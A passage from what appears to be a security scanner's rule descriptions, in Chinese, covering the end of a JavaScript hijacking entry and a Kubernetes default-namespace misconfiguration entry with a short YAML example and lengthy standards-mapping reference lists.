这不是钓鱼攻击 -- 攻击者未获得用户凭证的访问权限 -- 因此反钓鱼对策将无法打败攻击。更复杂的攻击可能会通过使用 JavaScript 动态生成脚本标签,向应用程序作出一系列请求。此相同技术有时会用于创建应用程序混合应用。唯一的不同是,在此混合应用情况中,涉及的应用程序之一是恶意的。
References
[1] B. Chess, Y. O'Neil, and J. West JavaScript Hijacking
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[4] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[5] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 12
[6] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[7] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167
[8] Standards Mapping - General Data Protection Regulation (GDPR) Access Violation
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code
[11] Standards Mapping - OWASP Mobile 2014 M4 Unintended Data Leakage
[12] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-003300 CAT II
[13] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-003300 CAT II
[14] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-003300 CAT II
[15] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-003300 CAT II
[16] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-003300 CAT II
[17] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-003300 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-003300 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-003300 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-003300 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-003300 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-003300 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-003300 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-003300 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-003300 CAT II
[26] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
[27] Standards Mapping - Web Application Security Consortium 24 + 2 Information Leakage
desc.dataflow.javascript.javascript_hijacking_vulnerable_framework
Abstract
避免使用 Kubernetes 默认命名空间。
Explanation
Kubernetes 命名空间将群集划分为可管理的块。命名空间为名称提供一个范围,且有助于将各种策略指定到群集的子部分。默认情况下,Kubernetes 将资源分配给 default 命名空间。使用与默认命名空间不同的命名空间可以减少错误或恶意活动的影响。

示例 1:以下配置将资源的命名空间设置为 default

...
kind: ...
metadata:
...
namespace: default
spec:
...
References
[1] Namespaces The Kubernetes Authors
[2] Standards Mapping - CIS Azure Kubernetes Service Benchmark 1
[3] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 2
[4] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[5] Standards Mapping - CIS Google Kubernetes Engine Benchmark confidentiality
[6] Standards Mapping - CIS Kubernetes Benchmark partial
[7] Standards Mapping - Common Weakness Enumeration CWE ID 340
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001368, CCI-001414
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 AC-4 Information Flow Enforcement (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 AC-4 Information Flow Enforcement
[11] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[12] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[13] Standards Mapping - OWASP Top 10 2017 A6 Security Misconfiguration
[14] Standards Mapping - OWASP Top 10 2021 A05 Security Misconfiguration
[15] Standards Mapping - OWASP API 2023 API8 Security Misconfiguration
[16] Standards Mapping - OWASP Mobile 2014 M1 Weak Server Side Controls
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[20] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[21] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[22] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[23] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[24] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[25] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[26] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[27] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[28] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[29] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-000480 CAT II, APSC-DV-000490 CAT II
[30] Standards Mapping - Web Application Security Consortium Version 2.00 Predictable Resource Location (WASC-34)
[31] Standards Mapping - Web Application Security Consortium 24 + 2 Predictable Resource Location
desc.structural.yaml.kubernetes_misconfiguration_default_namespace.base